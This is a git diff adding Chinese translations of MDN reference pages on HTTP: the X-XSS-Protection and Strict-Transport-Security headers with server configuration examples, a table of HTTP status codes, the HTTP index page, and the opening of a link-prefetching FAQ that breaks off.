({{Glossary("XSS")}})时,浏览器将停止加载页面。若网站设置了良好的 {{HTTPHeader("Content-Security-Policy")}} 来禁用内联 JavaScript (<code>'unsafe-inline'</code>),现代浏览器不太需要这些保护, 但其仍然可以为尚不支持 {{Glossary("CSP")}} 的旧版浏览器的用户提供保护。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">X-XSS-Protection: 0 +X-XSS-Protection: 1 +X-XSS-Protection: 1; mode=block +X-XSS-Protection: 1; report=<reporting-uri> +</pre> + +<dl> + <dt>0</dt> + <dd>禁止XSS过滤。</dd> + <dt>1</dt> + <dd>启用XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。</dd> + <dt>1;mode=block</dt> + <dd>启用XSS过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。</dd> + <dt>1; report=<reporting-URI> (Chromium only)</dt> + <dd>启用XSS过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用CSP {{CSP("report-uri")}}指令的功能发送违规报告。</dd> +</dl> + +<h2 id="范例">范例</h2> + +<p>当检测到XSS攻击时阻止页面加载:</p> + +<pre class="brush: bash notranslate">X-XSS-Protection: 1;mode=block</pre> + +<p>PHP</p> + +<pre class="brush: php notranslate">header("X-XSS-Protection: 1; mode=block");</pre> + +<p>Apache (.htaccess)</p> + +<pre class="brush: bash notranslate"><IfModule mod_headers.c> + Header set X-XSS-Protection "1; mode=block" +</IfModule></pre> + +<p>Nginx</p> + +<pre class="brush: bash notranslate">add_header "X-XSS-Protection" "1; mode=block";</pre> + +<h2 id="规范">规范</h2> + +<p>不属于任何一个规范或草案的一部分。</p> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.X-XSS-Protection")}}</p> + +<h2 id="了解更多">了解更多</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li> + <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li> + <li> + <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/http_response_codes/index.html b/files/zh-cn/web/http/http_response_codes/index.html new file mode 100644 index 0000000000..16318cc65e --- /dev/null +++ b/files/zh-cn/web/http/http_response_codes/index.html @@ -0,0 +1,12 @@ +--- +title: HTTP response codes +slug: Web/HTTP/HTTP_response_codes +translation_of: Web/HTTP/Status +--- +<p>HTTP状态码(响应码)用来表明这个<a href="/zh-cn/HTTP" title="zh-cn/HTTP">HTTP</a> 请求是否已经成功完成.HTTP响应类型一共分五大类:消息响应,成功响应,重定向,客户端错误,服务器端错误.</p> +<p> </p> +<p><span class="long_text short_text" id="result_box" lang="zh-CN"><span>下表列出了</span><span>所有HTTP</span></span><span class="long_text short_text" lang="zh-CN"><span>状态码</span><span>,以及他们</span><span>各自所代表的含义</span><span>:</span></span></p> +<table class="standard-table" style="width: 100%;"> <thead> <tr> <th scope="col">状态码 </th> <th scope="col">原因短语</th> <th scope="col">代表含义</th> <th scope="col">HTTP 版本 </th> </tr> </thead> <tbody> <tr> <th colspan="4">消息响应</th> </tr> <tr> <td id="100">100 </td> <td>Continue<br> (继续)</td> <td>客户端应当继续发送请求.这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝.客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应.服务器必须在请求完成后向客户端发送一个最终响应.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="101">101</td> <td>Switching Protocol<br> (切换协议)</td> <td>服务器已经理解了客户端的请求,并将通过Upgrade消息头通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将会切换到 在Upgrade消息头中定义的那些协议。: 只有在切换新的协议更有好处的时候才应该采取类似措施。例如,切换到新的HTTP版本比旧版本更有优势,或者切换到一个实时且同步的协议以传送利用此类特 性的资源。</td> <td>HTTP/1.1 可用</td> </tr> <tr> <th colspan="4">成功响应</th> </tr> <tr> <td id="200">200</td> <td>OK<br> (成功)</td> <td>请求成功.成功的意义根据请求所使用的方法不同而不同. <ul> <li>GET: 资源已被提取,并作为响应体传回客户端.</li> <li>HEAD: <span class="long_text short_text" id="result_box" lang="zh-CN"><span>实体</span><span>头</span><span>已作为响应头传回客户端</span></span></li> <li>POST: 经过服务器处理客户端传来的数据,适合的资源作为响应体传回客户端.</li> <li>TRACE: <span class="long_text short_text" id="result_box" lang="zh-CN"><span>服务器</span><span>收到</span><span>请求消息</span></span>作为响应体传回客户端.</li> </ul> PUT, DELETE, 和 OPTIONS 方法永远不会返回 200 状态码.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="201">201</td> <td>Created<br> (已创建)</td> <td>请求成功,而且有一个新的资源已经依据请求的需要而建立,通常这是 PUT 方法得到的响应码.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="202">202</td> <td>Accepted<br> (已创建)</td> <td>服务器已接受请求,但尚未处理。正如它可能被拒绝一样,最终该请求可能会也可能不会被执行。在异步操作的场合下,没有比发送这个状态码更方便的做法了。:返回202状态码的响应的目的是允许服务器接受其他过程的请求(例如某个每天只执行一次的基于批处理的操作),而不必让客户端一直保持与服务器的连接直到批处理操作全部完成。在接受请求处理并返回202状态码的响应应当在返回的实体中包含一些指示处理当前状态的信息,以及指向处理状态监视器或状态预测的指针,以便用户能够估计操作是否已经完成。</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="203">203</td> <td>Non-Authoritative Information<br> (未授权信息)</td> <td> <p>服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝,如果不是上述情况,使用200状态码才是最合适的.</p> </td> <td>HTTP/0.9 and 1.1</td> </tr> <tr> <td id="204">204</td> <td>No Content<br> (无内容)</td> <td>该响应没有响应内容,只有响应头,响应头也可能是有用的.用户代理可以根据新的响应头来更新对应资源的缓存信息.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="205">205</td> <td>Reset Content<br> (重置内容)</td> <td>告诉用户代理去重置发送该请求的窗口的文档视图.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="206">206</td> <td>Partial Content<br> (部分内容)</td> <td>当客户端通过使用range头字段进行文件分段下载时使用该状态码</td> <td>HTTP/1.1 可用</td> </tr> <tr> <th colspan="4">重定向</th> </tr> <tr> <td id="300">300</td> <td>Multiple Choice<br> (多种选择)</td> <td>该请求有多种可能的响应,用户代理或者用户必须选择它们其中的一个.服务器没有任何标准可以遵循去代替用户来进行选择.</td> <td>HTTP/1.0 and later</td> </tr> <tr> <td id="301">301</td> <td>Moved Permanently<br> (永久移动)</td> <td>该状态码表示所请求的URI资源路径已经改变,新的URL会在响应的<code>Location</code>:头字段里找到.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="302">302</td> <td>Found<br> (临时移动)</td> <td>该状态码表示所请求的URI资源路径临时改变,并且还可能继续改变.因此客户端在以后访问时还得继续使用该URI.新的URL会在响应的<code>Location:</code>头字段里找到.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="303">303</td> <td>See Other<br> (查看其他位置)</td> <td>服务器发送该响应用来引导客户端使用GET方法访问另外一个URI.</td> <td>HTTP/0.9 and 1.1</td> </tr> <tr> <td id="304">304</td> <td>Not Modified<br> (未修改)</td> <td>告诉客户端,所请求的内容距离上次访问并没有变化. 客户端可以直接从浏览器缓存里获取该资源.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="305">305</td> <td>Use Proxy<br> (使用代理)</td> <td>所请求的资源必须统过代理才能访问到.由于安全原因,该状态码并未受到广泛支持.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="306">306</td> <td><em>unused</em><br> (未使用)</td> <td><span class="long_text short_text" id="result_box" lang="zh-CN"><span>这个</span><span>状态码</span><span>已经不再被使用</span><span>,</span><span>当初它被用</span><span>在</span><span>HTTP 1.1规范</span><span>的</span><span>旧版本</span><span>中.</span></span></td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="307">307</td> <td>Temporary Redirect<br> (临时重定向)</td> <td> <p>服务器发送该响应用来引导客户端使用相同的方法访问另外一个URI来获取想要获取的资源.新的URL会在响应的<code>Location:</code>头字段里找到.与302状态码有相同的语义,且前后两次访问必须使用相同的方法(GET POST).</p> </td> <td>HTTP/1.1 可用</td> </tr> <tr> <td>308</td> <td>Permanent Redirect<br> (永久重定向)</td> <td> <p>所请求的资源将永久的位于另外一个URI上.新的URL会在响应的<code>Location:</code>头字段里找到.与301状态码有相同的语义,且前后两次访问必须使用相同的方法(GET POST).</p> <div class="note"><strong>注意:</strong> 这是个试验性的状态码,这里是<a class="external" href="http://greenbytes.de/tech/webdav/#draft-reschke-http-status-308" title="http://greenbytes.de/tech/webdav/#draft-reschke-http-status-308">规范草案</a>. <a href="/en/Firefox_14_for_developers" title="en/Firefox_14_for_developers">Firefox14</a>已经实现对该状态码的支持.</div> </td> <td> <p>HTTPbis <a class="external" href="http://greenbytes.de/tech/webdav/draft-reschke-http-status-308-05.html" title="http://greenbytes.de/tech/webdav/draft-reschke-http-status-308-05.html"></a><br> (试验草案)</p> </td> </tr> <tr> <th colspan="4">客户端错误</th> </tr> <tr> <td id="400">400</td> <td>Bad Request<br> (错误请求)</td> <td>因发送的请求语法错误,服务器无法正常读取.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="401">401</td> <td>Unauthorized<br> (未授权)</td> <td>需要身份验证后才能获取所请求的内容,类似于403错误.不同点是.401错误后,只要正确输入帐号密码,验证即可通过.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="402">402</td> <td>Payment Required<br> (需要付款)</td> <td><span class="long_text" id="result_box" lang="zh-CN"><span>该状态</span><span>码</span><span>被保留以</span><span>供将来使用.</span><span>创建此代码</span><span>最初的目的是</span><span>为</span><span>数字</span><span>支付系统而用</span><span>,</span><span>然而,到现在也没投入使用</span><span>.</span></span></td> <td>HTTP/0.9 and 1.1</td> </tr> <tr> <td id="403">403</td> <td>Forbidden<br> (禁止访问)</td> <td>客户端没有权利访问所请求内容,服务器拒绝本次请求.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="404">404</td> <td>Not Found<br> (未找到)</td> <td>服务器找不到所请求的资源.由于经常发生此种情况,所以该状态码在上网时是非常常见的.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="405">405</td> <td>Method Not Allowed<br> (不允许使用该方法)</td> <td>该请求使用的方法被服务器端禁止使用,RFC2616中规定, <code>GET</code> 和 <code>HEAD</code> 方法不能被禁止.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="406">406</td> <td>Not Acceptable<br> (无法接受)</td> <td>在进行<a href="/zh-cn/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/zh-cn/HTTP/Content_negotiation#Server-driven_negotiation"><span class="st">服务器驱动内容协商</span></a>后,没有发现合适的内容传回给客户端.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="407">407</td> <td>Proxy Authentication Required<br> (要求代理身份验证)</td> <td> <p>类似于状态码 401,不过需要通过代理才能进行验证.</p> </td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="408">408</td> <td>Request Timeout<br> (请求超时)</td> <td>客户端没有在服务器预备等待的时间内完成一个请求的发送.这意味着服务器将会切断和客户端的连接. 在其他浏览器中,这种响应更常见一些, 例如Chrome 和 IE9, 目的是为了使用 <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP 预连机制</a> <span class="long_text short_text" id="result_box" lang="zh-CN"><span>加快浏览速度</span></span> (查看{{ bug("634278") }}, Firefox在未来版本中会实现这种机制). 同时注意,一些服务器不发送此种响应就直接切断连接.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="409">409</td> <td>Conflict<br> (冲突)</td> <td>该请求与服务器的当前状态所冲突.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="410">410</td> <td>Gone<br> (已失效)</td> <td>所请求的资源已经被删除.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="411">411</td> <td>Length Required<br> (需要内容长度头)</td> <td>因服务器在本次请求中需要 <code>Content-Length</code> 头字段,而客户端没有发送.所以,服务器拒绝了该请求.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="412">412</td> <td>Precondition Failed<br> (预处理失败)</td> <td>服务器没能满足客户端在获取资源时在请求头字段中设置的先决条件.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="413">413</td> <td>Request Entity Too Large<br> (请求实体过长)</td> <td>请求实体大小超过服务器的设置的最大限制,服务器可能会关闭HTTP链接并返回<code>Retry-After</code> 头字段.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="414">414</td> <td>Request-URI Too Long<br> (请求网址过长)</td> <td>客户端请求所包含的URI地址太长,以至于服务器无法处理.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="415">415</td> <td>Unsupported Media Type<br> (媒体类型不支持)</td> <td>服务器不支持客户端所请求的媒体类型,因此拒绝该请求.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="416">416</td> <td>Requested Range Not Satisfiable<br> (请求范围不合要求)</td> <td>请求中包含的<code>Range</code>头字段无法被满足,通常是因为<code>Range</code>中的数字范围超出所请求资源的大小.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="417">417</td> <td>Expectation Failed<br> (预期结果失败)</td> <td>在请求头<code> Expect</code> 中指定的预期内容无法被服务器满足.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <th colspan="4">服务器端错误</th> </tr> <tr> <td id="500">500</td> <td>Internal Server Error<br> (内部服务器错误)</td> <td>服务器遇到未知的无法解决的问题.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="501">501</td> <td>Implemented<br> (未实现)</td> <td>服务器不支持该请求中使用的方法,比如<code>POST</code> 和 <code>PUT.只有</code><code>GET</code> 和 <code>HEAD</code> 是RFC2616规范中规定服务器必须实现的方法.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="502">502</td> <td>Bad Gateway<br> (网关错误)</td> <td>服务器作为网关且从上游<span class="st">服务器获取到了一个无效的HTTP响应</span>.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="503">503</td> <td>Service Unavailable<br> (服务不可用)</td> <td>由于临时的服务器维护或者过载,服务器当前无法处理请求.这个状况是临时的,并且将在一段时间以后恢复.如果能够预计延迟时间,那么响应中可以包含一个<code>Retry-After:</code>头用以标明这个延迟时间.如果没有给出这个<code>Retry-After:</code>信息,那么客户端应当以处理500响应的方式处理它.同时,这种情况下,一个友好的用于解释服务器出现问题的页面应当被返回,并且,缓存相关的HTTP头信息也应该包含,因为通常这种错误提示网页不应当被客户端缓存.</td> <td>HTTP/0.9 可用</td> </tr> <tr> <td id="504">504</td> <td>Gateway Timeout <br> (网关超时)</td> <td>服务器作为网关且不能从上游<span class="st">服务器</span>及时的得到响应返回给客户端.</td> <td>HTTP/1.1 可用</td> </tr> <tr> <td id="505">505</td> <td>HTTP Version Not Supported<br> (HTTP版本不受支持)</td> <td>服务器不支持客户端发送的HTTP请求中所使用的HTTP协议版本.</td> <td>HTTP/1.1 可用 </td> </tr> </tbody> +</table> +<p> </p> +<p>{{ languages( { "en": "en/HTTP/HTTP_response_codes"} ) }}</p> diff --git a/files/zh-cn/web/http/http_strict_transport_security/index.html b/files/zh-cn/web/http/http_strict_transport_security/index.html new file mode 100644 index 0000000000..d890b429ef --- /dev/null +++ b/files/zh-cn/web/http/http_strict_transport_security/index.html @@ -0,0 +1,121 @@ +--- +title: HTTP Strict Transport Security +slug: Web/HTTP/HTTP_Strict_Transport_Security +tags: + - HSTS + - HTTP + - HTTPS + - Security + - header +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +<div><code><strong> HTTP Strict Transport Security</strong></code>(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过HTTPS访问当前资源,而不是<a href="/en/HTTP" title="en/HTTP">HTTP</a>。</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Strict-Transport-Security: max-age=<expire-time> +Strict-Transport-Security: max-age=<expire-time>; includeSubDomains +Strict-Transport-Security: max-age=<expire-time>; preload +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>max-age=<expire-time></code></dt> + <dd>设置在浏览器收到这个请求后的<expire-time>秒的时间内凡是访问这个域名下的请求都使用HTTPS请求。</dd> + <dt><code>includeSubDomains</code> {{optional_inline}}</dt> + <dd>如果这个可选的参数被指定,那么说明此规则也适用于该网站的所有子域名。</dd> + <dt><code>preload</code> {{optional_inline}}</dt> + <dd>查看 {{anch("预加载 HSTS")}} 获得详情。不是标准的一部分。</dd> +</dl> + +<h2 id="描述">描述</h2> + +<p>一个网站接受一个HTTP的请求,然后跳转到HTTPS,用户可能在开始跳转前,通过没有加密的方式和服务器对话,比如,用户输入http://foo.com或者直接foo.com。</p> + +<p>这样存在中间人攻击潜在威胁,跳转过程可能被恶意网站利用来直接接触用户信息,而不是原来的加密信息。</p> + +<p>网站通过HTTP Strict Transport Security通知浏览器,这个网站禁止使用HTTP方式加载,浏览器应该自动把所有尝试使用HTTP的请求自动替换为HTTPS请求。</p> + +<div class="note"> +<p><strong>注意:</strong> <code>Strict-Transport-Security</code> 在通过 HTTP 访问时会被浏览器<strong>忽略;</strong> 因为攻击者可以通过中间人攻击的方式在连接中修改、注入或删除它. 只有在你的网站通过HTTPS访问并且没有证书错误时, 浏览器才认为你的网站支持HTTPS 然后使用 <code>Strict-Transport-Security</code> 的值 .</p> +</div> + +<h3 id="浏览器如何处理">浏览器如何处理</h3> + +<p>你的网站第一次通过HTTPS请求,服务器响应<code>Strict-Transport-Security</code> 头,浏览器记录下这些信息,然后后面尝试访问这个网站的请求都会自动把HTTP替换为HTTPS。</p> + +<p>当HSTS头设置的过期时间到了,后面通过HTTP的访问恢复到正常模式,不会再自动跳转到HTTPS。</p> + +<p>每次浏览器接收到Strict-Transport-Security头,它都会更新这个网站的过期时间,所以网站可以刷新这些信息,防止过期发生。</p> + +<p>Chrome、Firefox等浏览器里,当您尝试访问该域名下的内容时,会产生一个307 Internal Redirect(内部跳转),自动跳转到HTTPS请求。</p> + +<h3 id="示例场景">示例场景</h3> + +<p>你连接到一个免费WiFi接入点,然后开始浏览网站,访问你的网上银行,查看你的支出,并且支付一些订单。很不幸,你接入的WiFi实际上是黑客的笔记本热点,他们拦截了你最初的HTTP请求,然后跳转到一个你银行网站一模一样的钓鱼网站。 现在,你的隐私数据暴露给黑客了。</p> + +<p>Strict Transport Security解决了这个问题;只要你通过HTTPS请求访问银行网站,并且银行网站配置好<span style="line-height: 1.5;">Strict Transport Security,你的浏览器知道自动使用HTTPS请求,这可以阻止黑客的中间人攻击的把戏。</span></p> + +<h2 id="预加载_HSTS">预加载 HSTS</h2> + +<p>谷歌维护着一个 <a href="https://hstspreload.appspot.com/">HSTS 预加载服务</a>。按照如下指示成功提交你的域名后,浏览器将会永不使用非安全的方式连接到你的域名。虽然该服务是由谷歌提供的,但所有浏览器都有使用这份列表的意向(或者已经在用了)。但是,这不是 HSTS 标准的一部分,也不该被当作正式的内容。</p> + +<ul> + <li>Chrome & Chromium 的 HSTS 预加载列表: <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li> + <li>Firefox 的 HSTS 预加载列表:<a href="https://hg.mozilla.org/mozilla-central/raw-file/tip/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li> +</ul> + +<h2 id="示例">示例</h2> + +<p>现在和未来的所有子域名会自动使用 HTTPS 连接长达一年。同时阻止了只能通过 HTTP 访问的内容。</p> + +<pre class="notranslate"><code>Strict-Transport-Security: max-age=31536000; includeSubDomains</code> +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('HSTS')}}</td> + <td>{{Spec2('HSTS')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Strict-Transport-Security")}}</p> + +<h2 id="查看更多">查看更多</h2> + +<ul> + <li>Blog post: <a href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li> + <li>Blog post: <a href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li> + <li>OWASP Article: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li> + <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li> + <li>Google: <a href="http://www.zdnet.com/article/google-chrome-is-backing-away-from-public-key-pinning-and-heres-why/">Chrome is backing away from public key pinning, and here's why</a></li> + <li>Blog post: <a href="https://scotthelme.co.uk/a-new-security-header-expect-ct/">A new security header: Expect-CT</a></li> +</ul> diff --git a/files/zh-cn/web/http/index.html b/files/zh-cn/web/http/index.html new file mode 100644 index 0000000000..2e95cc9f48 --- /dev/null +++ b/files/zh-cn/web/http/index.html @@ -0,0 +1,76 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - TCP/IP + - Web + - Web 开发 + - 'l10n:priority' + - 参考 +translation_of: Web/HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong><dfn>超文本传输协议(HTTP)</dfn></strong>是一个用于传输超媒体文档(例如 HTML)的<a href="https://en.wikipedia.org/wiki/Application_Layer">应用层</a>协议。它是为 Web 浏览器与 Web 服务器之间的通信而设计的,但也可以用于其他目的。HTTP 遵循经典的<a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">客户端-服务端模型</a>,客户端打开一个连接以发出请求,然后等待直到收到服务器端响应。HTTP 是<a href="http://en.wikipedia.org/wiki/Stateless_protocol">无状态协议</a>,这意味着服务器不会在两个请求之间保留任何数据(状态)。尽管通常基于 TCP/IP 层,但它可以在任何可靠的<a href="https://zh.wikipedia.org/wiki/%E4%BC%A0%E8%BE%93%E5%B1%82">传输层</a>上使用,也就是说,该协议不会像 UDP 那样静默的丢失消息。<a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a>——作为 UDP 的可靠化升级版本——是一种合适的替代选择。</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="教程">教程</h2> + +<p>通过以下指南和教程来学习如何使用 HTTP。</p> + +<dl> + <dt><a href="/zh-CN/docs/Web/HTTP/Overview">HTTP 概述</a></dt> + <dd>介绍了客户端-服务器端协议的基本特征:它能够做什么以及它的设计意图。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Caching_FAQ">HTTP 缓存</a></dt> + <dd>缓存对高速 Web 站点来说是非常之重要的。这篇文章阐述了不同种类的缓存以及如何配置 HTTP Headers 来控制它们。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Cookies">HTTP Cookie</a></dt> + <dd><a href="http://tools.ietf.org/html/rfc6265">RFC 6265</a> 定义了 cookie 的工作方式。<font><font>在处理 HTTP 请求时,服务器可以在 HTTP 响应头中通过</font></font>HTTP Headers<font><font> </font></font><code>Set-Cookie</code> <font><font>为客户端设置 cookie。</font></font>然后,对于同一服务器发起的每一个请求,客户端都会在 HTTP 请求头中以字段 <code>Cookie</code> 的形式将 cookie 的值发送过去。也可以将 cookie 设置为在特定日期过期,或限制为特定的域和路径。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">跨域资源共享(CORS) </a></dt> + <dd><strong>跨站点 HTTP 请求</strong>就是从<strong>另一个域名</strong>,而不是资源所在的域名发起的 HTTP 请求。举例来说,在域名 A (<code>http://domaina.example/</code>) 的 HTML 页面上使用 <code>img</code> 元素 (<code><img src="http://domainb.foo/image.jpg"></code>) 来请求域名 B (http://domainb.foo/) 上的图片资源。这在当今的 Web 页面上是很常见的 —— 加载跨站点资源,包括 CSS 样式表,图片,脚本和其他资源。CORS 允许 Web 开发人员控制其站点对跨站点请求的反应。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP 的演变</a></dt> + <dd>简单描述了从早期版本的 HTTP 到现代 HTTP/2,新兴的 HTTP/3 以及未来版本的 HTTP 这个过程中发生的变更。</dd> + <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Mozilla Web 安全准则</a></dt> + <dd>一系列用于帮助运营团队创建安全的 Web 应用程序的技巧。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Messages">HTTP 消息 </a></dt> + <dd>描述了 HTTP/1.x 和 HTTP/2 中不同种类消息的类型和结构。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Session">典型的 HTTP 会话 </a></dt> + <dd>展现并解释了一个常见 HTTP 会话的流程。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x 中的连接管理 </a></dt> + <dd>描述了在 HTTP/1.x 中的三种连接管理模型,以及它们的优点和缺点。</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="参考">参考</h2> + +<p>浏览详细的 HTTP 参考文档。</p> + +<dl> + <dt><a href="/zh-CN/docs/Web/HTTP/Headers">HTTP 头</a></dt> + <dd>HTTP 消息头用于描述资源或服务器或客户端的行为。<font><font>可以使用 </font></font><code>X-</code><font><font> 前缀添加自定义专有头。</font></font>其他的可以在 <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml#perm-headers">IANA registry</a> 中找到,其原始定义在 <a class="external" href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>。IANA 同时也维护着一份 <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml#prov-headers">registry of proposed new HTTP message headers</a>。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Methods">HTTP 请求方式</a></dt> + <dd>可以使用 HTTP: {{HTTPMethod("GET")}},{{HTTPMethod("POST")}} 方式来完成不同操作,或是一些不太常见的请求方式,像是: {{HTTPMethod("OPTIONS")}},{{HTTPMethod("DELETE")}} 和 {{HTTPMethod("TRACE")}}。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Response_codes">HTTP 状态码 </a></dt> + <dd>HTTP 状态码用来表示特定的 HTTP 请求是否已成功完成。响应分为五类:消息响应,成功响应,重定向,客户端错误和服务器错误。</dd> + <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP 指令</a></dt> + <dd>{{HTTPHeader("Content-Security-Policy")}} 响应报头字段允许网站管理员控制页面上哪些资源能够被用户代理程序加载。除了少数例外,此策略主要涉及指定服务器来源和脚本终端。</dd> +</dl> + +<h2 id="工具与资源">工具与资源</h2> + +<p>有助于了解和调试 HTTP 的工具和资源。</p> + +<dl> + <dt><a href="/zh-CN/docs/Tools">Firefox 开发者工具</a></dt> + <dd><a href="/zh-CN/docs/Tools/Network_Monitor">网络监视器</a></dd> + <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt> + <dd>一个旨在帮助开发人员,系统管理员和安全专业人员安全地配置其站点的项目。</dd> + <dt><a href="https://redbot.org/">RedBot</a></dt> + <dd>用于检查与缓存相关的 HTTP 头的工具。</dd> + <dt><a href="https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">浏览器的工作原理</a></dt> + <dd>一篇非常全面的关于浏览器内部实现与通过 HTTP 协议的请求流的文章。可以说是所有 Web 开发者的<strong>必读内容</strong>。</dd> +</dl> +</div> +</div> diff --git a/files/zh-cn/web/http/link_prefetching_faq/index.html b/files/zh-cn/web/http/link_prefetching_faq/index.html new file mode 100644 index 0000000000..d930f142f0 --- /dev/null +++ b/files/zh-cn/web/http/link_prefetching_faq/index.html @@ -0,0 +1,132 @@ +--- +title: Link prefetching FAQ +slug: Web/HTTP/Link_prefetching_FAQ +tags: + - HTTP + - Link prefetching + - Prefetch + - 性能 +translation_of: Web/HTTP/Link_prefetching_FAQ +--- +<h3 id="What_is_link_prefetching.3F" name="What_is_link_prefetching.3F">什么是链接预取?</h3> + +<p>链接预取是一种浏览器机制,其利用浏览器空闲时间来下载或预取用户在不久的将来可能访问的文档。网页向浏览器提供一组预取提示,并在浏览器完成当前页面的加载后开始静默地拉取指定的文档并将其存储在缓存中。当用户访问其中一个预取文档时,便可以快速的从浏览器缓存中得到。</p> + +<h3 